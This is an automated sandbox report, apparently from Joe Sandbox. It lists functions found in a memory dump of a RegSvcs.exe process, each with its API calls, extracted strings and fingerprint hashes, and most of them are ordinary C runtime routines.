Instruction ID: 634a645fbb89883a8048affa87e368f531f69a44de34e299c7b5b9c255acbea1
Opcode Fuzzy Hash: de826de0b8665dce7b354b76897ab4d89b084adf4cf8c32ccdcbc88c9caf88b8
Instruction Fuzzy Hash: FA41F371B002249BCB20DF55E980B6EB7B4EF80714F55416FE8066B381DB78AD01CBC9

Function 00440EBB Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00440ED3

Part of subcall function 004381B6: HeapFree.KERNEL32(00000000,00000000,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?), ref: 004381CC
Part of subcall function 004381B6: GetLastError.KERNEL32(?,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?,?), ref: 004381DE

_free.LIBCMT ref: 00440EE5
_free.LIBCMT ref: 00440EF7
_free.LIBCMT ref: 00440F09
_free.LIBCMT ref: 00440F1B

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 976f773178b3a1b3aa785fdbb1b20de492f2985a2c0ef50a8997057c72e40866
Instruction ID: 60032924811c2865658c18812589d751f3704ea8c5b5f64c4353d60af17ce8ba
Opcode Fuzzy Hash: 976f773178b3a1b3aa785fdbb1b20de492f2985a2c0ef50a8997057c72e40866
Instruction Fuzzy Hash: DDF04F32514300AB9E35EB65E881C1BB7E9EA54310B691C1EF908E7701DF78FC90869C

Function 00419710 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 284sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,A99F1BC9,00000000,?), ref: 00419749

Part of subcall function 0040A470: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,A99F1BC9,00000000,?), ref: 0040A4BA

GetFileAttributesA.KERNEL32(?,?,00000000,00000000,00467494,0000000E), ref: 004197C5

Strings

ZBmu, xrefs: 004199F8, 00419FE2, 0041A029, 0041A108
Xv==, xrefs: 00419A32, 0041B0BB

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AttributesFileFolderPathSleep
String ID: Xv==$ZBmu
API String ID: 70540035-658444483
Opcode ID: e5849001c9129c7977783ef44150e774fff656bdb8885442c5f0908c86a9f48c
Instruction ID: d8424b626564b53d3efe14781ec4d7e2cc7769f2fe4b5d16fb930cc59ee87601
Opcode Fuzzy Hash: e5849001c9129c7977783ef44150e774fff656bdb8885442c5f0908c86a9f48c
Instruction Fuzzy Hash: 24C1A130D04288DFEF14DFA8C958BDDBFB6AF45308F644199D4046B282D7B95E88CB65

Function 0043E947 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043EA4B

Part of subcall function 0043E45F: WideCharToMultiByte.KERNEL32(00000000,00000000,8B18EC83,?,00000000,8B18EC83,004380F7,0000FDE9,8B18EC83,?,?,?,00437E70,0000FDE9,00000000,?), ref: 0043E50B

Strings

PC, xrefs: 0043E9DD, 0043E998, 0043EA73, 0043EACE, 0043EB02, 0043EB3F, 0043EB94, 0043EBF9
PC, xrefs: 0043EA89, 0043EAC5, 0043EA92, 0043EACC

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_free
String ID: PC$PC
API String ID: 3242298965-546519453
Opcode ID: 20d774936208bb7ee1843faed3b48977cd8e7a89bce7e7f6d6b8a400a86d1594
Instruction ID: 15c659c6739a36d7261b53587305968e72243a2b27e5f2b2920781d657e0185c
Opcode Fuzzy Hash: 20d774936208bb7ee1843faed3b48977cd8e7a89bce7e7f6d6b8a400a86d1594
Instruction Fuzzy Hash: 89811471A01205ABDF11AFA6DC42ABFB7A9EF18704F54502BF901AB2C1E7399E41C758

Function 004032B0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00402C20: ___std_exception_copy.LIBVCRUNTIME ref: 00402C53

Part of subcall function 0042B056: RaiseException.KERNEL32(E06D7363,00000001,00000003,004025DC,00420D37,8B18EC83,?,004025DC,?,004644CC), ref: 0042B0B6

___std_exception_copy.LIBVCRUNTIME ref: 004032EE

Strings

$@, xrefs: 004032F6
0EF, xrefs: 004032E7, 004032ED
$@, xrefs: 004032DD

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy$ExceptionRaise
String ID: 0EF$$@$$@
API String ID: 2103344913-2852628486
Opcode ID: 8adf70b5d305bf464acd20592c93b0a280aa532aff59f374aeea1d5046d9d002
Instruction ID: 33c9e7119714e7a37c22dc624428f2d6ddf9f7398783dbb109712563da6ae978
Opcode Fuzzy Hash: 8adf70b5d305bf464acd20592c93b0a280aa532aff59f374aeea1d5046d9d002
Instruction Fuzzy Hash: ECF0E5B2D1031C67C715EBE5EC0198AB7ACDE15704B50852BFA10B7902FB74B64883A9

Function 00402A60 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00402A7F

Strings

0*@, xrefs: 00402A9B
$@, xrefs: 00402A71
0*@, xrefs: 00402A84

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: 0*@$0*@$$@
API String ID: 2659868963-1365470675
Opcode ID: fe13fb0a393673d3aac30e6f5fbe972e5de8e17296f38addbdd5cd554e8ae16e
Instruction ID: 97a03de475351f7a2bca72f3d98f058574c121d629282b5af2dbe3d92ee012ff
Opcode Fuzzy Hash: fe13fb0a393673d3aac30e6f5fbe972e5de8e17296f38addbdd5cd554e8ae16e
Instruction Fuzzy Hash: D2F030B6A00705AB8710DF5AD400986F7ECFF59311315C62BE919D7B10F7B4B868CBA4

Function 004391C5 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0043924F

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bbdc5413d29c3be440159c633bfa54827fef4cc4fb06d2ce54c7cea705859a06
Instruction ID: a04617e534a5e6a8668232e222c2b3acc4ffab12b6af52f77dfb0eee37f51b27
Opcode Fuzzy Hash: bbdc5413d29c3be440159c633bfa54827fef4cc4fb06d2ce54c7cea705859a06
Instruction Fuzzy Hash: B8B136729046459FDB11CF68C8417AFBBE5EF5D300F1491ABE8459B382D6BC8D02CB68

Function 00409A20 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,A99F1BC9,00000000), ref: 00409A99
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00409B00
GetProcAddress.KERNEL32(00000000), ref: 00409B07

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: a503b0e7cc449db335841ad7ab9a773665695323589175055db12fc1e23ed090
Instruction ID: bd7fc4279f14078bc3a6410a73fa419a0c5c03756ad06a072f11fca4877197c3
Opcode Fuzzy Hash: a503b0e7cc449db335841ad7ab9a773665695323589175055db12fc1e23ed090
Instruction Fuzzy Hash: CA515970E042589BDB14EF68DD457DEB774EB45314F5042BAE804A73C2EB389EC08B99

Function 0044718E Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0044725E
_free.LIBCMT ref: 00447287
SetEndOfFile.KERNEL32(00000000,004439ED,00000000,00443C84,?,?,?,?,?,?,?,004439ED,00443C84,00000000), ref: 004472B9
GetLastError.KERNEL32(?,?,?,?,?,?,?,004439ED,00443C84,00000000,?,?,?,?,00000000), ref: 004472D5

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: d29c09d9e296d4adf2ce22184a14b2fab795c51f593fd17517760519ce477a22
Instruction ID: 09b017ae8ededa8dd7b1ea515ad0bf4c2df776c640b9ad3cd90ae46bc27b6ccf
Opcode Fuzzy Hash: d29c09d9e296d4adf2ce22184a14b2fab795c51f593fd17517760519ce477a22
Instruction Fuzzy Hash: 284126729086009AEB11ABB98C42B9F3765FF48324F24159BF914E73A1DBBCC9024769

Function 0042EAB6 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4704e0f1fd3b11a56a9c74060ca5e1b75ea5182f1298efef6483e410a222a90
Instruction ID: 03983285e4344cda00197c73dab7651fa2de86250539e33279241a3da3fab7b8
Opcode Fuzzy Hash: c4704e0f1fd3b11a56a9c74060ca5e1b75ea5182f1298efef6483e410a222a90
Instruction Fuzzy Hash: 7B41D771B00714AFE724EF3ADC41B9BBFA9EB48710F50852FF012DB281D6B9A9418784

Function 00402F00 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00402F9F
GetCurrentThreadId.KERNEL32 ref: 00402FAB
__Mtx_unlock.LIBCPMT ref: 00402FF2
__Cnd_broadcast.LIBCPMT ref: 00402FFB

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 19e2a188049c5894ca11fd6ef1a88c317df4824be80c47bc799430bad589e922
Instruction ID: 6d290b131966a57fc63d46ce4638b3526e9ef90feb23ba4a8d0d0e0be83c2de6
Opcode Fuzzy Hash: 19e2a188049c5894ca11fd6ef1a88c317df4824be80c47bc799430bad589e922
Instruction Fuzzy Hash: 7541BDB1A026119FCB11DF25D944B5ABBE8BF18318F04453EE81AD7790EB39E900CBC5

Function 0043EFB3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0042E958: _free.LIBCMT ref: 0042E966

Part of subcall function 0043E45F: WideCharToMultiByte.KERNEL32(00000000,00000000,8B18EC83,?,00000000,8B18EC83,004380F7,0000FDE9,8B18EC83,?,?,?,00437E70,0000FDE9,00000000,?), ref: 0043E50B

GetLastError.KERNEL32 ref: 0043F01B
__dosmaperr.LIBCMT ref: 0043F022
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0043F061
__dosmaperr.LIBCMT ref: 0043F068

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 66a6233bd8662e0535dd27a9fe65b24e76e5808839ee4bbdd85bd2a5aa3b6b8f
Instruction ID: 5705714bb8414e06a77441d39309be38108af8e058fa10dd69e29da557a8ec21
Opcode Fuzzy Hash: 66a6233bd8662e0535dd27a9fe65b24e76e5808839ee4bbdd85bd2a5aa3b6b8f
Instruction Fuzzy Hash: 82210871A05609BF9B205F668C80D2B776DEF0C368F10553AF924D7292D739EC4487A9

Function 00436DD0 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
_free.LIBCMT ref: 00436E32
_free.LIBCMT ref: 00436E68
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c572c4aaf3847cb2b4cc91d51ab0c8d7b335412c2af02a72975859a843b434aa
Instruction ID: a4166cf88256f44b99565f39f78425332fe0beff0162f420f1608f4976c6b809
Opcode Fuzzy Hash: c572c4aaf3847cb2b4cc91d51ab0c8d7b335412c2af02a72975859a843b434aa
Instruction Fuzzy Hash: CE11EB752003037A8B1133659C82A2B266A9BD977DF26633FF124962E2ED6DCC05411E

Function 00436F27 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00420D37,00420D37,8B18EC83,00431267,00438428,?,?,00429DCF,00420D37,?,004233CE,8B18EC84,74DF0F00), ref: 00436F2C
_free.LIBCMT ref: 00436F89
_free.LIBCMT ref: 00436FBF
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00429DCF,00420D37,?,004233CE,8B18EC84,74DF0F00), ref: 00436FCA

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cb573d47580b169657372487180f4c216382a616dbdcf0fe4bab6662a542a304
Instruction ID: 8e88054898ceb52abecb7deb45702a8fe7e48457730a4ea2a2ff532377063cd4
Opcode Fuzzy Hash: cb573d47580b169657372487180f4c216382a616dbdcf0fe4bab6662a542a304
Instruction Fuzzy Hash: EF11CA712043027ACB1177666C81E37666A9BC9779F26233FF218D22E2EE6DCC05451E

Function 00439E9F Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000020,?,?,00000000,?,00000000,?,00445997,?,?,?,00000020,00000001), ref: 00439EB5
GetLastError.KERNEL32(?,00445997,?,?,?,00000020,00000001), ref: 00439EBF
__dosmaperr.LIBCMT ref: 00439EC6

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 8cbf9aad02c880dbf15ad90c48f2a92ac3fc3d8c0e0115e1d68da830d2ed5290
Instruction ID: f4905dddf45fba5913c4f3bd7f7b993a752e58d3391f1608b586a18716b284c1
Opcode Fuzzy Hash: 8cbf9aad02c880dbf15ad90c48f2a92ac3fc3d8c0e0115e1d68da830d2ed5290
Instruction Fuzzy Hash: 86F0AD32200101BBCB206FA2CC0998BBF69FF4C7A1B049426F619C3260CB75EC21C7E8

Function 00439F08 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000020,?,?,00000000,?,00000000,?,00445922,?,?,?,?,00000020,00000001), ref: 00439F1E
GetLastError.KERNEL32(?,00445922,?,?,?,?,00000020,00000001), ref: 00439F28
__dosmaperr.LIBCMT ref: 00439F2F

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: fb08d9ee05810b2fde417ebc3ee9e9a8b4e431a86164122e041f2bd89720e18c
Instruction ID: 6036fd292b85d709bb5c160df205add55e4c87e98bfc454a0d3b4d3ae8ee55eb
Opcode Fuzzy Hash: fb08d9ee05810b2fde417ebc3ee9e9a8b4e431a86164122e041f2bd89720e18c
Instruction Fuzzy Hash: 06F06D32204615BB9B202FA3DC0898BBF69FF4C7A1B009526F518D6560C779EC21CBD8

Function 004474FA Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,8B18EC83,00000000,00000000,?,00443FE2,00000000,00000001,00000000,00000000,?,00437B46,?,?,00000000), ref: 00447511
GetLastError.KERNEL32(?,00443FE2,00000000,00000001,00000000,00000000,?,00437B46,?,?,00000000,?,00000000,?,00438092,8B18EC83), ref: 0044751D

Part of subcall function 004474E3: CloseHandle.KERNEL32(FFFFFFFE,0044752D,?,00443FE2,00000000,00000001,00000000,00000000,?,00437B46,?,?,00000000,?,00000000), ref: 004474F3

___initconout.LIBCMT ref: 0044752D

Part of subcall function 004474A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004474D4,00443FCF,00000000,?,00437B46,?,?,00000000,?), ref: 004474B8

WriteConsoleW.KERNEL32(00000000,00000000,8B18EC83,00000000,?,00443FE2,00000000,00000001,00000000,00000000,?,00437B46,?,?,00000000,?), ref: 00447542

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c56aa034153e7384cbee5bfc4e00f3a5dbb98655cb3f0d0a58f3d6a5b7d5b79a
Instruction ID: 8cee21a586823bbb656bd92e21e7a914b34fe6bf467dd77b14e68005d0a38925
Opcode Fuzzy Hash: c56aa034153e7384cbee5bfc4e00f3a5dbb98655cb3f0d0a58f3d6a5b7d5b79a
Instruction Fuzzy Hash: 36F03936004269BBDF622F92DC09BDA3F66FB097A1F014025FA08D5631E732DC219B99

Function 00434709 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00434712

Part of subcall function 004381B6: HeapFree.KERNEL32(00000000,00000000,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?), ref: 004381CC
Part of subcall function 004381B6: GetLastError.KERNEL32(?,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?,?), ref: 004381DE

_free.LIBCMT ref: 00434725
_free.LIBCMT ref: 00434736
_free.LIBCMT ref: 00434747

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 704fe6289b8f143d9a26ff059708b995ea59a4fdcfa7f0ac5acbcaa82e73d9cd
Instruction ID: 1da69f597a2ce6a3d76abb69257222dcc8979614f2f0434a1f14b28e78c126af
Opcode Fuzzy Hash: 704fe6289b8f143d9a26ff059708b995ea59a4fdcfa7f0ac5acbcaa82e73d9cd
Instruction Fuzzy Hash: 5BE09AB58213219A8E12AF16EC01486BA39A798754F05502EF80822236EBFD0956DF8F

Function 0043346D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 004334FD

Strings

pow, xrefs: 004334D5, 004334F2

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 9b1f1b54ab89344f379d9a06692492a77bae97b690f0fd6d344f710797a60ab4
Instruction ID: 76716456ed47391b51d1e1841b8522cac03791be4ebd9feac55ea1cb2584b1ed
Opcode Fuzzy Hash: 9b1f1b54ab89344f379d9a06692492a77bae97b690f0fd6d344f710797a60ab4
Instruction Fuzzy Hash: 56518D61D0A201A6CF217F15C90137F27A4AB48713F20A96BE4C1413E9EB3DCD959A4E

Function 00433B72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, xrefs: 00433BB5, 00433BBC, 00433BF2

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
API String ID: 0-4009286469
Opcode ID: 3967d2100356a427602d8344ce6fef7260dd2e88fbc4018f011d238c0e17fe00
Instruction ID: 9dd861ecdb78a8fa8b9149014e93946c85b2eb4dcdf4db7622ce99933c2e1b93
Opcode Fuzzy Hash: 3967d2100356a427602d8344ce6fef7260dd2e88fbc4018f011d238c0e17fe00
Instruction Fuzzy Hash: 1A418072A00215AFDB219F9AD88199FBBB8EF89311F14206BF404E7351E7B89F41C759

Function 0042D0CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0042D0F1

Strings

RCC, xrefs: 0042D10B
MOC, xrefs: 0042D103

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 09c64a93f39c51a2730a6fe1502235b7bbaa60dad562439b189740cdda0ae7f0
Instruction ID: 74c5846a7c847a02cac0a397f4b7201c937f58d9a1eef82dc885650252145cd0
Opcode Fuzzy Hash: 09c64a93f39c51a2730a6fe1502235b7bbaa60dad562439b189740cdda0ae7f0
Instruction Fuzzy Hash: F6417C71E00219AFCF15DF98ED81AEEBBB5FF48304F54809AF90467221D3399960DB59

Function 00434513 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004345C6

Strings

p"B, xrefs: 00434581
.FC, xrefs: 004345B6

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free
String ID: .FC$p"B
API String ID: 269201875-2155700466
Opcode ID: 70fcbf996e0e6f783760038de61c3db33e1fb257ea8d8b49847e2c9393cbb7ec
Instruction ID: 68a727fadefac230d6b736e8121086cc62c5036a3fa9a85959494b8dd1aa682d
Opcode Fuzzy Hash: 70fcbf996e0e6f783760038de61c3db33e1fb257ea8d8b49847e2c9393cbb7ec
Instruction Fuzzy Hash: 28314976E00614AF8B14CF59D48089EB7F1EFCD320B2686A6E615EB360D734BD41CB95

Function 004044C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004044EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040453A

Part of subcall function 0042894E: _Yarn.LIBCPMT ref: 0042896D
Part of subcall function 0042894E: _Yarn.LIBCPMT ref: 00428991

Strings

bad locale name, xrefs: 00404556

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 8f86a913a844d6f899e4d3e1e54ff72ab4217549f74eb6dfb6f69a63f5297fa5
Instruction ID: 09576b40df86770123bd818f8f6b670a494be638eb9bc01e7c470c2f954602ce
Opcode Fuzzy Hash: 8f86a913a844d6f899e4d3e1e54ff72ab4217549f74eb6dfb6f69a63f5297fa5
Instruction Fuzzy Hash: EF11E3B15057849FD320CF69C80174BBBE8EF19714F004A1FE489C3B81E7B8A504CB99

Function 004288DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004288EA
std::_Lockit::~_Lockit.LIBCPMT ref: 00428945

Strings

p"B, xrefs: 0042890F, 00428929

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: p"B
API String ID: 593203224-2496714718
Opcode ID: 845b3c59473143e2723270cd9ca3c719c89f41ed008f8553123bd8ab3fc78832
Instruction ID: ee50c7717d1863ac42b5a2078df01cbe2852c83e07850b74666fb46b5f32bdcd
Opcode Fuzzy Hash: 845b3c59473143e2723270cd9ca3c719c89f41ed008f8553123bd8ab3fc78832
Instruction Fuzzy Hash: D3019E35701214AFCB04DF15D895A6EB7B4EF84750B5440AEE8019B372DF70EE41CB94

Function 004264A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 004264EB
__Mtx_destroy_in_situ.LIBCPMT ref: 004264F4

Strings

P7B, xrefs: 004264CD

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: P7B
API String ID: 1432671424-2603120426
Opcode ID: ccd7f3ca1439b653eee987ef03ca579b591e52ce490b3c69bf28907680d822df
Instruction ID: d1c88c8e554fbe6b09274c26d59dbb3a57fb5c0ab0a95ab02b51eddfb59b484b
Opcode Fuzzy Hash: ccd7f3ca1439b653eee987ef03ca579b591e52ce490b3c69bf28907680d822df
Instruction Fuzzy Hash: 82F0A4B2A007109BC734EB61F404B5B73E87F44304F85491FE68687A04DB78E548C769

Function 00423750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00423778
__Mtx_destroy_in_situ.LIBCPMT ref: 00423781

Strings

P7B, xrefs: 0042375A

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: P7B
API String ID: 1432671424-2603120426
Opcode ID: b1826f75059ada2c8c0a135fc30b5ab815db4b115b2b9b45164e8216526a7a3c
Instruction ID: 96ac7aa9ad7ad0189e36f29d09ce045fae7f9609e90f85980bcbdc5214f9bfbf
